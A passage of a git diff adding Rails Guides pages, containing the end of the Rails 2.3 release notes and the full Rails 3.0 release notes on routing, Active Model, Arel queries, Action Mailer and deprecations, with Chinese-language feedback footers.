Rails Metal is a new mechanism that provides superfast endpoints inside of your Rails applications. Metal classes bypass routing and Action Controller to give you raw speed (at the cost of all the things in Action Controller, of course). This builds on all of the recent foundation work to make Rails a Rack application with an exposed middleware stack. Metal endpoints can be loaded from your application or from plugins.

+ +

8.2 Application Templates

Rails 2.3 incorporates Jeremy McAnally's rg application generator. What this means is that we now have template-based application generation built right into Rails; if you have a set of plugins you include in every application (among many other use cases), you can just set up a template once and use it over and over again when you run the rails command. There's also a rake task to apply a template to an existing application:

+
+rake rails:template LOCATION=~/template.rb
+
+
+
+

This will layer the changes from the template on top of whatever code the project already contains.

+ +

8.3 Quieter Backtraces

Building on thoughtbot's Quiet Backtrace plugin, which allows you to selectively remove lines from Test::Unit backtraces, Rails 2.3 implements ActiveSupport::BacktraceCleaner and Rails::BacktraceCleaner in core. This supports both filters (to perform regex-based substitutions on backtrace lines) and silencers (to remove backtrace lines entirely). Rails automatically adds silencers to get rid of the most common noise in a new application, and builds a config/backtrace_silencers.rb file to hold your own additions. This feature also enables prettier printing from any gem in the backtrace.

8.4 Faster Boot Time in Development Mode with Lazy Loading/Autoload

Quite a bit of work was done to make sure that bits of Rails (and its dependencies) are only brought into memory when they're actually needed. The core frameworks - Active Support, Active Record, Action Controller, Action Mailer and Action View - are now using autoload to lazy-load their individual classes. This work should help keep the memory footprint down and improve overall Rails performance.

You can also specify (by using the new preload_frameworks option) whether the core libraries should be autoloaded at startup. This defaults to false so that Rails autoloads itself piece-by-piece, but there are some circumstances where you still need to bring in everything at once - Passenger and JRuby both want to see all of Rails loaded together.

8.5 rake gem Task Rewrite

The internals of the various rake gem tasks have been substantially revised, to make the system work better for a variety of cases. The gem system now knows the difference between development and runtime dependencies, has a more robust unpacking system, gives better information when querying for the status of gems, and is less prone to "chicken and egg" dependency issues when you're bringing things up from scratch. There are also fixes for using gem commands under JRuby and for dependencies that try to bring in external copies of gems that are already vendored.

+ +

8.6 Other Railties Changes

+
    +
  • The instructions for updating a CI server to build Rails have been updated and expanded.
  • +
  • Internal Rails testing has been switched from Test::Unit::TestCase to ActiveSupport::TestCase, and the Rails core requires Mocha to test.
  • +
  • The default environment.rb file has been decluttered.
  • +
  • The dbconsole script now lets you use an all-numeric password without crashing.
  • +
  • +Rails.root now returns a Pathname object, which means you can use it directly with the join method to clean up existing code that uses File.join.
  • +
  • Various files in /public that deal with CGI and FCGI dispatching are no longer generated in every Rails application by default (you can still get them if you need them by adding --with-dispatchers when you run the rails command, or add them later with rake rails:update:generate_dispatchers).
  • +
  • Rails Guides have been converted from AsciiDoc to Textile markup.
  • +
  • Scaffolded views and controllers have been cleaned up a bit.
  • +
  • +script/server now accepts a --path argument to mount a Rails application from a specific path.
  • +
  • If any configured gems are missing, the gem rake tasks will skip loading much of the environment. This should solve many of the "chicken-and-egg" problems where rake gems:install couldn't run because gems were missing.
  • +
  • Gems are now unpacked exactly once. This fixes issues with gems (hoe, for instance) which are packed with read-only permissions on the files.
  • +
+

9 Deprecated

A few pieces of older code are deprecated in this release:

+
    +
  • If you're one of the (fairly rare) Rails developers who deploys in a fashion that depends on the inspector, reaper, and spawner scripts, you'll need to know that those scripts are no longer included in core Rails. If you need them, you'll be able to pick up copies via the irs_process_scripts plugin.
  • +
  • +render_component goes from "deprecated" to "nonexistent" in Rails 2.3. If you still need it, you can install the render_component plugin.
  • +
  • Support for Rails components has been removed.
  • +
  • If you were one of the people who got used to running script/performance/request to look at performance based on integration tests, you need to learn a new trick: that script has been removed from core Rails now. There's a new request_profiler plugin that you can install to get the exact same functionality back.
  • +
  • +ActionController::Base#session_enabled? is deprecated because sessions are lazy-loaded now.
  • +
  • The :digest and :secret options to protect_from_forgery are deprecated and have no effect.
  • +
  • Some integration test helpers have been removed. response.headers["Status"] and headers["Status"] will no longer return anything. Rack does not allow "Status" in its return headers. However you can still use the status and status_message helpers. response.headers["cookie"] and headers["cookie"] will no longer return any CGI cookies. You can inspect headers["Set-Cookie"] to see the raw cookie header or use the cookies helper to get a hash of the cookies sent to the client.
  • +
  • +formatted_polymorphic_url is deprecated. Use polymorphic_url with :format instead.
  • +
  • The :http_only option in ActionController::Response#set_cookie has been renamed to :httponly.
  • +
  • The :connector and :skip_last_comma options of to_sentence have been replaced by :words_connnector, :two_words_connector, and :last_word_connector options.
  • +
  • Posting a multipart form with an empty file_field control used to submit an empty string to the controller. Now it submits a nil, due to differences between Rack's multipart parser and the old Rails one.
  • +
+

10 Credits

Release notes compiled by Mike Gunderloy. This version of the Rails 2.3 release notes was compiled based on RC2 of Rails 2.3.

+ +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/v5.0/3_0_release_notes.html b/v5.0/3_0_release_notes.html new file mode 100644 index 0000000..ba7c9e7 --- /dev/null +++ b/v5.0/3_0_release_notes.html @@ -0,0 +1,780 @@ + + + + + + + +Ruby on Rails 3.0 Release Notes — Ruby on Rails Guides + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + More Ruby on Rails + + +
+
+ +
+ +
+
+

Ruby on Rails 3.0 Release Notes

Rails 3.0 is ponies and rainbows! It's going to cook you dinner and fold your laundry. You're going to wonder how life was ever possible before it arrived. It's the Best Version of Rails We've Ever Done!

But seriously now, it's really good stuff. There are all the good ideas brought over from when the Merb team joined the party and brought a focus on framework agnosticism, slimmer and faster internals, and a handful of tasty APIs. If you're coming to Rails 3.0 from Merb 1.x, you should recognize lots. If you're coming from Rails 2.x, you're going to love it too.

Even if you don't give a hoot about any of our internal cleanups, Rails 3.0 is going to delight. We have a bunch of new features and improved APIs. It's never been a better time to be a Rails developer. Some of the highlights are:

+
    +
  • Brand new router with an emphasis on RESTful declarations
  • +
  • New Action Mailer API modeled after Action Controller (now without the agonizing pain of sending multipart messages!)
  • +
  • New Active Record chainable query language built on top of relational algebra
  • +
  • Unobtrusive JavaScript helpers with drivers for Prototype, jQuery, and more coming (end of inline JS)
  • +
  • Explicit dependency management with Bundler
  • +
+

On top of all that, we've tried our best to deprecate the old APIs with nice warnings. That means that you can move your existing application to Rails 3 without immediately rewriting all your old code to the latest best practices.

These release notes cover the major upgrades, but don't include every little bug fix and change. Rails 3.0 consists of almost 4,000 commits by more than 250 authors! If you want to see everything, check out the list of commits in the main Rails repository on GitHub.

+ + + +
+
+ +
+
+
+

To install Rails 3:

+
+# Use sudo if your setup requires it
+$ gem install rails
+
+
+
+

1 Upgrading to Rails 3

If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 2.3.5 and make sure your application still runs as expected before attempting to update to Rails 3. Then take heed of the following changes:

1.1 Rails 3 requires at least Ruby 1.8.7

Rails 3.0 requires Ruby 1.8.7 or higher. Support for all of the previous Ruby versions has been dropped officially and you should upgrade as early as possible. Rails 3.0 is also compatible with Ruby 1.9.2.

Note that Ruby 1.8.7 p248 and p249 have marshaling bugs that crash Rails 3.0. Ruby Enterprise Edition have these fixed since release 1.8.7-2010.02 though. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults on Rails 3.0, so if you want to use Rails 3 with 1.9.x jump on 1.9.2 for smooth sailing.

1.2 Rails Application object

As part of the groundwork for supporting running multiple Rails applications in the same process, Rails 3 introduces the concept of an Application object. An application object holds all the application specific configurations and is very similar in nature to config/environment.rb from the previous versions of Rails.

Each Rails application now must have a corresponding application object. The application object is defined in config/application.rb. If you're upgrading an existing application to Rails 3, you must add this file and move the appropriate configurations from config/environment.rb to config/application.rb.

1.3 script/* replaced by script/rails

The new script/rails replaces all the scripts that used to be in the script directory. You do not run script/rails directly though, the rails command detects it is being invoked in the root of a Rails application and runs the script for you. Intended usage is:

+
+$ rails console                      # instead of script/console
+$ rails g scaffold post title:string # instead of script/generate scaffold post title:string
+
+
+
+

Run rails --help for a list of all the options.

1.4 Dependencies and config.gem

The config.gem method is gone and has been replaced by using bundler and a Gemfile, see Vendoring Gems below.

1.5 Upgrade Process

To help with the upgrade process, a plugin named Rails Upgrade has been created to automate part of it.

Simply install the plugin, then run rake rails:upgrade:check to check your app for pieces that need to be updated (with links to information on how to update them). It also offers a task to generate a Gemfile based on your current config.gem calls and a task to generate a new routes file from your current one. To get the plugin, simply run the following:

+
+$ ruby script/plugin install git://github.com/rails/rails_upgrade.git
+
+
+
+

You can see an example of how that works at Rails Upgrade is now an Official Plugin

Aside from Rails Upgrade tool, if you need more help, there are people on IRC and rubyonrails-talk that are probably doing the same thing, possibly hitting the same issues. Be sure to blog your own experiences when upgrading so others can benefit from your knowledge!

2 Creating a Rails 3.0 application

+
+# You should have the 'rails' RubyGem installed
+$ rails new myapp
+$ cd myapp
+
+
+
+

2.1 Vendoring Gems

Rails now uses a Gemfile in the application root to determine the gems you require for your application to start. This Gemfile is processed by the Bundler which then installs all your dependencies. It can even install all the dependencies locally to your application so that it doesn't depend on the system gems.

More information: - bundler homepage

2.2 Living on the Edge

Bundler and Gemfile makes freezing your Rails application easy as pie with the new dedicated bundle command, so rake freeze is no longer relevant and has been dropped.

If you want to bundle straight from the Git repository, you can pass the --edge flag:

+
+$ rails new myapp --edge
+
+
+
+

If you have a local checkout of the Rails repository and want to generate an application using that, you can pass the --dev flag:

+
+$ ruby /path/to/rails/bin/rails new myapp --dev
+
+
+
+

3 Rails Architectural Changes

There are six major changes in the architecture of Rails.

3.1 Railties Restrung

Railties was updated to provide a consistent plugin API for the entire Rails framework as well as a total rewrite of generators and the Rails bindings, the result is that developers can now hook into any significant stage of the generators and application framework in a consistent, defined manner.

3.2 All Rails core components are decoupled

With the merge of Merb and Rails, one of the big jobs was to remove the tight coupling between Rails core components. This has now been achieved, and all Rails core components are now using the same API that you can use for developing plugins. This means any plugin you make, or any core component replacement (like DataMapper or Sequel) can access all the functionality that the Rails core components have access to and extend and enhance at will.

More information: - The Great Decoupling

3.3 Active Model Abstraction

Part of decoupling the core components was extracting all ties to Active Record from Action Pack. This has now been completed. All new ORM plugins now just need to implement Active Model interfaces to work seamlessly with Action Pack.

More information: - Make Any Ruby Object Feel Like ActiveRecord

3.4 Controller Abstraction

Another big part of decoupling the core components was creating a base superclass that is separated from the notions of HTTP in order to handle rendering of views etc. This creation of AbstractController allowed ActionController and ActionMailer to be greatly simplified with common code removed from all these libraries and put into Abstract Controller.

More Information: - Rails Edge Architecture

3.5 Arel Integration

Arel (or Active Relation) has been taken on as the underpinnings of Active Record and is now required for Rails. Arel provides an SQL abstraction that simplifies out Active Record and provides the underpinnings for the relation functionality in Active Record.

More information: - Why I wrote Arel

3.6 Mail Extraction

Action Mailer ever since its beginnings has had monkey patches, pre parsers and even delivery and receiver agents, all in addition to having TMail vendored in the source tree. Version 3 changes that with all email message related functionality abstracted out to the Mail gem. This again reduces code duplication and helps create definable boundaries between Action Mailer and the email parser.

More information: - New Action Mailer API in Rails 3

4 Documentation

The documentation in the Rails tree is being updated with all the API changes, additionally, the Rails Edge Guides are being updated one by one to reflect the changes in Rails 3.0. The guides at guides.rubyonrails.org however will continue to contain only the stable version of Rails (at this point, version 2.3.5, until 3.0 is released).

More Information: - Rails Documentation Projects

5 Internationalization

A large amount of work has been done with I18n support in Rails 3, including the latest I18n gem supplying many speed improvements.

+
    +
  • I18n for any object - I18n behavior can be added to any object by including ActiveModel::Translation and ActiveModel::Validations. There is also an errors.messages fallback for translations.
  • +
  • Attributes can have default translations.
  • +
  • Form Submit Tags automatically pull the correct status (Create or Update) depending on the object status, and so pull the correct translation.
  • +
  • Labels with I18n also now work by just passing the attribute name.
  • +
+

More Information: - Rails 3 I18n changes

6 Railties

With the decoupling of the main Rails frameworks, Railties got a huge overhaul so as to make linking up frameworks, engines or plugins as painless and extensible as possible:

+
    +
  • Each application now has its own name space, application is started with YourAppName.boot for example, makes interacting with other applications a lot easier.
  • +
  • Anything under Rails.root/app is now added to the load path, so you can make app/observers/user_observer.rb and Rails will load it without any modifications.
  • +
  • +

    Rails 3.0 now provides a Rails.config object, which provides a central repository of all sorts of Rails wide configuration options.

    +

    Application generation has received extra flags allowing you to skip the installation of test-unit, Active Record, Prototype and Git. Also a new --dev flag has been added which sets the application up with the Gemfile pointing to your Rails checkout (which is determined by the path to the rails binary). See rails --help for more info.

    +
  • +
+

Railties generators got a huge amount of attention in Rails 3.0, basically:

+
    +
  • Generators were completely rewritten and are backwards incompatible.
  • +
  • Rails templates API and generators API were merged (they are the same as the former).
  • +
  • Generators are no longer loaded from special paths anymore, they are just found in the Ruby load path, so calling rails generate foo will look for generators/foo_generator.
  • +
  • New generators provide hooks, so any template engine, ORM, test framework can easily hook in.
  • +
  • New generators allow you to override the templates by placing a copy at Rails.root/lib/templates.
  • +
  • +Rails::Generators::TestCase is also supplied so you can create your own generators and test them.
  • +
+

Also, the views generated by Railties generators had some overhaul:

+
    +
  • Views now use div tags instead of p tags.
  • +
  • Scaffolds generated now make use of _form partials, instead of duplicated code in the edit and new views.
  • +
  • Scaffold forms now use f.submit which returns "Create ModelName" or "Update ModelName" depending on the state of the object passed in.
  • +
+

Finally a couple of enhancements were added to the rake tasks:

+
    +
  • +rake db:forward was added, allowing you to roll forward your migrations individually or in groups.
  • +
  • +rake routes CONTROLLER=x was added allowing you to just view the routes for one controller.
  • +
+

Railties now deprecates:

+
    +
  • +RAILS_ROOT in favor of Rails.root,
  • +
  • +RAILS_ENV in favor of Rails.env, and
  • +
  • +RAILS_DEFAULT_LOGGER in favor of Rails.logger.
  • +
+

PLUGIN/rails/tasks, and PLUGIN/tasks are no longer loaded all tasks now must be in PLUGIN/lib/tasks.

More information:

+ +

7 Action Pack

There have been significant internal and external changes in Action Pack.

7.1 Abstract Controller

Abstract Controller pulls out the generic parts of Action Controller into a reusable module that any library can use to render templates, render partials, helpers, translations, logging, any part of the request response cycle. This abstraction allowed ActionMailer::Base to now just inherit from AbstractController and just wrap the Rails DSL onto the Mail gem.

It also provided an opportunity to clean up Action Controller, abstracting out what could to simplify the code.

Note however that Abstract Controller is not a user facing API, you will not run into it in your day to day use of Rails.

More Information: - Rails Edge Architecture

7.2 Action Controller

+
    +
  • +application_controller.rb now has protect_from_forgery on by default.
  • +
  • The cookie_verifier_secret has been deprecated and now instead it is assigned through Rails.application.config.cookie_secret and moved into its own file: config/initializers/cookie_verification_secret.rb.
  • +
  • The session_store was configured in ActionController::Base.session, and that is now moved to Rails.application.config.session_store. Defaults are set up in config/initializers/session_store.rb.
  • +
  • +cookies.secure allowing you to set encrypted values in cookies with cookie.secure[:key] => value.
  • +
  • +cookies.permanent allowing you to set permanent values in the cookie hash cookie.permanent[:key] => value that raise exceptions on signed values if verification failures.
  • +
  • You can now pass :notice => 'This is a flash message' or :alert => 'Something went wrong' to the format call inside a respond_to block. The flash[] hash still works as previously.
  • +
  • +respond_with method has now been added to your controllers simplifying the venerable format blocks.
  • +
  • +ActionController::Responder added allowing you flexibility in how your responses get generated.
  • +
+

Deprecations:

+
    +
  • +filter_parameter_logging is deprecated in favor of config.filter_parameters << :password.
  • +
+

More Information:

+ +

7.3 Action Dispatch

Action Dispatch is new in Rails 3.0 and provides a new, cleaner implementation for routing.

+
    +
  • Big clean up and re-write of the router, the Rails router is now rack_mount with a Rails DSL on top, it is a stand alone piece of software.
  • +
  • +

    Routes defined by each application are now name spaced within your Application module, that is:

    +
    +
    +# Instead of:
    +
    +ActionController::Routing::Routes.draw do |map|
    +  map.resources :posts
    +end
    +
    +# You do:
    +
    +AppName::Application.routes do
    +  resources :posts
    +end
    +
    +
    +
    +
  • +
  • Added match method to the router, you can also pass any Rack application to the matched route.

  • +
  • Added constraints method to the router, allowing you to guard routers with defined constraints.

  • +
  • +

    Added scope method to the router, allowing you to namespace routes for different languages or different actions, for example:

    +
    +
    +scope 'es' do
    +  resources :projects, :path_names => { :edit => 'cambiar' }, :path => 'proyecto'
    +end
    +
    +# Gives you the edit action with /es/proyecto/1/cambiar
    +
    +
    +
    +
  • +
  • Added root method to the router as a short cut for match '/', :to => path.

  • +
  • You can pass optional segments into the match, for example match "/:controller(/:action(/:id))(.:format)", each parenthesized segment is optional.

  • +
  • Routes can be expressed via blocks, for example you can call controller :home { match '/:action' }.

  • +
+

The old style map commands still work as before with a backwards compatibility layer, however this will be removed in the 3.1 release.

Deprecations

+
    +
  • The catch all route for non-REST applications (/:controller/:action/:id) is now commented out.
  • +
  • Routes :path_prefix no longer exists and :name_prefix now automatically adds "_" at the end of the given value.
  • +
+

More Information: +* The Rails 3 Router: Rack it Up +* Revamped Routes in Rails 3 +* Generic Actions in Rails 3

7.4 Action View

7.4.1 Unobtrusive JavaScript

Major re-write was done in the Action View helpers, implementing Unobtrusive JavaScript (UJS) hooks and removing the old inline AJAX commands. This enables Rails to use any compliant UJS driver to implement the UJS hooks in the helpers.

What this means is that all previous remote_<method> helpers have been removed from Rails core and put into the Prototype Legacy Helper. To get UJS hooks into your HTML, you now pass :remote => true instead. For example:

+
+form_for @post, :remote => true
+
+
+
+

Produces:

+
+<form action="http://host.com/" id="create-post" method="post" data-remote="true">
+
+
+
+
7.4.2 Helpers with Blocks

Helpers like form_for or div_for that insert content from a block use <%= now:

+
+<%= form_for @post do |f| %>
+  ...
+<% end %>
+
+
+
+

Your own helpers of that kind are expected to return a string, rather than appending to the output buffer by hand.

Helpers that do something else, like cache or content_for, are not affected by this change, they need &lt;% as before.

7.4.3 Other Changes
+
    +
  • You no longer need to call h(string) to escape HTML output, it is on by default in all view templates. If you want the unescaped string, call raw(string).
  • +
  • Helpers now output HTML 5 by default.
  • +
  • Form label helper now pulls values from I18n with a single value, so f.label :name will pull the :name translation.
  • +
  • I18n select label on should now be :en.helpers.select instead of :en.support.select.
  • +
  • You no longer need to place a minus sign at the end of a Ruby interpolation inside an ERB template to remove the trailing carriage return in the HTML output.
  • +
  • Added grouped_collection_select helper to Action View.
  • +
  • +content_for? has been added allowing you to check for the existence of content in a view before rendering.
  • +
  • passing :value => nil to form helpers will set the field's value attribute to nil as opposed to using the default value
  • +
  • passing :id => nil to form helpers will cause those fields to be rendered with no id attribute
  • +
  • passing :alt => nil to image_tag will cause the img tag to render with no alt attribute
  • +
+

8 Active Model

Active Model is new in Rails 3.0. It provides an abstraction layer for any ORM libraries to use to interact with Rails by implementing an Active Model interface.

8.1 ORM Abstraction and Action Pack Interface

Part of decoupling the core components was extracting all ties to Active Record from Action Pack. This has now been completed. All new ORM plugins now just need to implement Active Model interfaces to work seamlessly with Action Pack.

More Information: - Make Any Ruby Object Feel Like ActiveRecord

8.2 Validations

Validations have been moved from Active Record into Active Model, providing an interface to validations that works across ORM libraries in Rails 3.

+
    +
  • There is now a validates :attribute, options_hash shortcut method that allows you to pass options for all the validates class methods, you can pass more than one option to a validate method.
  • +
  • The validates method has the following options: + +
      +
    • +:acceptance => Boolean.
    • +
    • +:confirmation => Boolean.
    • +
    • +:exclusion => { :in => Enumerable }.
    • +
    • +:inclusion => { :in => Enumerable }.
    • +
    • +:format => { :with => Regexp, :on => :create }.
    • +
    • +:length => { :maximum => Fixnum }.
    • +
    • +:numericality => Boolean.
    • +
    • +:presence => Boolean.
    • +
    • +:uniqueness => Boolean.
    • +
    +
  • +
+

All the Rails version 2.3 style validation methods are still supported in Rails 3.0, the new validates method is designed as an additional aid in your model validations, not a replacement for the existing API.

You can also pass in a validator object, which you can then reuse between objects that use Active Model:

+
+class TitleValidator < ActiveModel::EachValidator
+  Titles = ['Mr.', 'Mrs.', 'Dr.']
+  def validate_each(record, attribute, value)
+    unless Titles.include?(value)
+      record.errors[attribute] << 'must be a valid title'
+    end
+  end
+end
+
+
+
+
+
+class Person
+  include ActiveModel::Validations
+  attr_accessor :title
+  validates :title, :presence => true, :title => true
+end
+
+# Or for Active Record
+
+class Person < ActiveRecord::Base
+  validates :title, :presence => true, :title => true
+end
+
+
+
+

There's also support for introspection:

+
+User.validators
+User.validators_on(:login)
+
+
+
+

More Information:

+ +

9 Active Record

Active Record received a lot of attention in Rails 3.0, including abstraction into Active Model, a full update to the Query interface using Arel, validation updates and many enhancements and fixes. All of the Rails 2.x API will be usable through a compatibility layer that will be supported until version 3.1.

9.1 Query Interface

Active Record, through the use of Arel, now returns relations on its core methods. The existing API in Rails 2.3.x is still supported and will not be deprecated until Rails 3.1 and not removed until Rails 3.2, however, the new API provides the following new methods that all return relations allowing them to be chained together:

+
    +
  • +where - provides conditions on the relation, what gets returned.
  • +
  • +select - choose what attributes of the models you wish to have returned from the database.
  • +
  • +group - groups the relation on the attribute supplied.
  • +
  • +having - provides an expression limiting group relations (GROUP BY constraint).
  • +
  • +joins - joins the relation to another table.
  • +
  • +clause - provides an expression limiting join relations (JOIN constraint).
  • +
  • +includes - includes other relations pre-loaded.
  • +
  • +order - orders the relation based on the expression supplied.
  • +
  • +limit - limits the relation to the number of records specified.
  • +
  • +lock - locks the records returned from the table.
  • +
  • +readonly - returns an read only copy of the data.
  • +
  • +from - provides a way to select relationships from more than one table.
  • +
  • +scope - (previously named_scope) return relations and can be chained together with the other relation methods.
  • +
  • +with_scope - and with_exclusive_scope now also return relations and so can be chained.
  • +
  • +default_scope - also works with relations.
  • +
+

More Information:

+ +

9.2 Enhancements

+
    +
  • Added :destroyed? to Active Record objects.
  • +
  • Added :inverse_of to Active Record associations allowing you to pull the instance of an already loaded association without hitting the database.
  • +
+

9.3 Patches and Deprecations

Additionally, many fixes in the Active Record branch:

+
    +
  • SQLite 2 support has been dropped in favor of SQLite 3.
  • +
  • MySQL support for column order.
  • +
  • PostgreSQL adapter has had its TIME ZONE support fixed so it no longer inserts incorrect values.
  • +
  • Support multiple schemas in table names for PostgreSQL.
  • +
  • PostgreSQL support for the XML data type column.
  • +
  • +table_name is now cached.
  • +
  • A large amount of work done on the Oracle adapter as well with many bug fixes.
  • +
+

As well as the following deprecations:

+
    +
  • +named_scope in an Active Record class is deprecated and has been renamed to just scope.
  • +
  • In scope methods, you should move to using the relation methods, instead of a :conditions => {} finder method, for example scope :since, lambda {|time| where("created_at > ?", time) }.
  • +
  • +save(false) is deprecated, in favor of save(:validate => false).
  • +
  • I18n error messages for Active Record should be changed from :en.activerecord.errors.template to :en.errors.template.
  • +
  • +model.errors.on is deprecated in favor of model.errors[] +
  • +
  • validates_presence_of => validates... :presence => true
  • +
  • +ActiveRecord::Base.colorize_logging and config.active_record.colorize_logging are deprecated in favor of Rails::LogSubscriber.colorize_logging or config.colorize_logging +
  • +
+

While an implementation of State Machine has been in Active Record edge for some months now, it has been removed from the Rails 3.0 release.

10 Active Resource

Active Resource was also extracted out to Active Model allowing you to use Active Resource objects with Action Pack seamlessly.

+
    +
  • Added validations through Active Model.
  • +
  • Added observing hooks.
  • +
  • HTTP proxy support.
  • +
  • Added support for digest authentication.
  • +
  • Moved model naming into Active Model.
  • +
  • Changed Active Resource attributes to a Hash with indifferent access.
  • +
  • Added first, last and all aliases for equivalent find scopes.
  • +
  • +find_every now does not return a ResourceNotFound error if nothing returned.
  • +
  • Added save! which raises ResourceInvalid unless the object is valid?.
  • +
  • +update_attribute and update_attributes added to Active Resource models.
  • +
  • Added exists?.
  • +
  • Renamed SchemaDefinition to Schema and define_schema to schema.
  • +
  • Use the format of Active Resources rather than the content-type of remote errors to load errors.
  • +
  • Use instance_eval for schema block.
  • +
  • Fix ActiveResource::ConnectionError#to_s when @response does not respond to #code or #message, handles Ruby 1.9 compatibility.
  • +
  • Add support for errors in JSON format.
  • +
  • Ensure load works with numeric arrays.
  • +
  • Recognizes a 410 response from remote resource as the resource has been deleted.
  • +
  • Add ability to set SSL options on Active Resource connections.
  • +
  • Setting connection timeout also affects Net::HTTP open_timeout.
  • +
+

Deprecations:

+
    +
  • +save(false) is deprecated, in favor of save(:validate => false).
  • +
  • Ruby 1.9.2: URI.parse and .decode are deprecated and are no longer used in the library.
  • +
+

11 Active Support

A large effort was made in Active Support to make it cherry pickable, that is, you no longer have to require the entire Active Support library to get pieces of it. This allows the various core components of Rails to run slimmer.

These are the main changes in Active Support:

+
    +
  • Large clean up of the library removing unused methods throughout.
  • +
  • Active Support no longer provides vendored versions of TZInfo, Memcache Client and Builder. These are all included as dependencies and installed via the bundle install command.
  • +
  • Safe buffers are implemented in ActiveSupport::SafeBuffer.
  • +
  • Added Array.uniq_by and Array.uniq_by!.
  • +
  • Removed Array#rand and backported Array#sample from Ruby 1.9.
  • +
  • Fixed bug on TimeZone.seconds_to_utc_offset returning wrong value.
  • +
  • Added ActiveSupport::Notifications middleware.
  • +
  • +ActiveSupport.use_standard_json_time_format now defaults to true.
  • +
  • +ActiveSupport.escape_html_entities_in_json now defaults to false.
  • +
  • +Integer#multiple_of? accepts zero as an argument, returns false unless the receiver is zero.
  • +
  • +string.chars has been renamed to string.mb_chars.
  • +
  • +ActiveSupport::OrderedHash now can de-serialize through YAML.
  • +
  • Added SAX-based parser for XmlMini, using LibXML and Nokogiri.
  • +
  • Added Object#presence that returns the object if it's #present? otherwise returns nil.
  • +
  • Added String#exclude? core extension that returns the inverse of #include?.
  • +
  • Added to_i to DateTime in ActiveSupport so to_yaml works correctly on models with DateTime attributes.
  • +
  • Added Enumerable#exclude? to bring parity to Enumerable#include? and avoid if !x.include?.
  • +
  • Switch to on-by-default XSS escaping for rails.
  • +
  • Support deep-merging in ActiveSupport::HashWithIndifferentAccess.
  • +
  • +Enumerable#sum now works will all enumerables, even if they don't respond to :size.
  • +
  • +inspect on a zero length duration returns '0 seconds' instead of empty string.
  • +
  • Add element and collection to ModelName.
  • +
  • +String#to_time and String#to_datetime handle fractional seconds.
  • +
  • Added support to new callbacks for around filter object that respond to :before and :after used in before and after callbacks.
  • +
  • The ActiveSupport::OrderedHash#to_a method returns an ordered set of arrays. Matches Ruby 1.9's Hash#to_a.
  • +
  • +MissingSourceFile exists as a constant but it is now just equal to LoadError.
  • +
  • Added Class#class_attribute, to be able to declare a class-level attribute whose value is inheritable and overwritable by subclasses.
  • +
  • Finally removed DeprecatedCallbacks in ActiveRecord::Associations.
  • +
  • +Object#metaclass is now Kernel#singleton_class to match Ruby.
  • +
+

The following methods have been removed because they are now available in Ruby 1.8.7 and 1.9.

+
    +
  • +Integer#even? and Integer#odd? +
  • +
  • String#each_char
  • +
  • +String#start_with? and String#end_with? (3rd person aliases still kept)
  • +
  • String#bytesize
  • +
  • Object#tap
  • +
  • Symbol#to_proc
  • +
  • Object#instance_variable_defined?
  • +
  • Enumerable#none?
  • +
+

The security patch for REXML remains in Active Support because early patch-levels of Ruby 1.8.7 still need it. Active Support knows whether it has to apply it or not.

The following methods have been removed because they are no longer used in the framework:

+
    +
  • Kernel#daemonize
  • +
  • +Object#remove_subclasses_of Object#extend_with_included_modules_from, Object#extended_by +
  • +
  • Class#remove_class
  • +
  • +Regexp#number_of_captures, Regexp.unoptionalize, Regexp.optionalize, Regexp#number_of_captures +
  • +
+

12 Action Mailer

Action Mailer has been given a new API with TMail being replaced out with the new Mail as the email library. Action Mailer itself has been given an almost complete re-write with pretty much every line of code touched. The result is that Action Mailer now simply inherits from Abstract Controller and wraps the Mail gem in a Rails DSL. This reduces the amount of code and duplication of other libraries in Action Mailer considerably.

+
    +
  • All mailers are now in app/mailers by default.
  • +
  • Can now send email using new API with three methods: attachments, headers and mail.
  • +
  • Action Mailer now has native support for inline attachments using the attachments.inline method.
  • +
  • Action Mailer emailing methods now return Mail::Message objects, which can then be sent the deliver message to send itself.
  • +
  • All delivery methods are now abstracted out to the Mail gem.
  • +
  • The mail delivery method can accept a hash of all valid mail header fields with their value pair.
  • +
  • The mail delivery method acts in a similar way to Action Controller's respond_to, and you can explicitly or implicitly render templates. Action Mailer will turn the email into a multipart email as needed.
  • +
  • You can pass a proc to the format.mime_type calls within the mail block and explicitly render specific types of text, or add layouts or different templates. The render call inside the proc is from Abstract Controller and supports the same options.
  • +
  • What were mailer unit tests have been moved to functional tests.
  • +
  • Action Mailer now delegates all auto encoding of header fields and bodies to Mail Gem
  • +
  • Action Mailer will auto encode email bodies and headers for you
  • +
+

Deprecations:

+
    +
  • +:charset, :content_type, :mime_version, :implicit_parts_order are all deprecated in favor of ActionMailer.default :key => value style declarations.
  • +
  • Mailer dynamic create_method_name and deliver_method_name are deprecated, just call method_name which now returns a Mail::Message object.
  • +
  • +ActionMailer.deliver(message) is deprecated, just call message.deliver.
  • +
  • +template_root is deprecated, pass options to a render call inside a proc from the format.mime_type method inside the mail generation block
  • +
  • The body method to define instance variables is deprecated (body {:ivar => value}), just declare instance variables in the method directly and they will be available in the view.
  • +
  • Mailers being in app/models is deprecated, use app/mailers instead.
  • +
+

More Information:

+ +

13 Credits

See the full list of contributors to Rails for the many people who spent many hours making Rails 3. Kudos to all of them.

Rails 3.0 Release Notes were compiled by Mikel Lindsaar.

+ +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

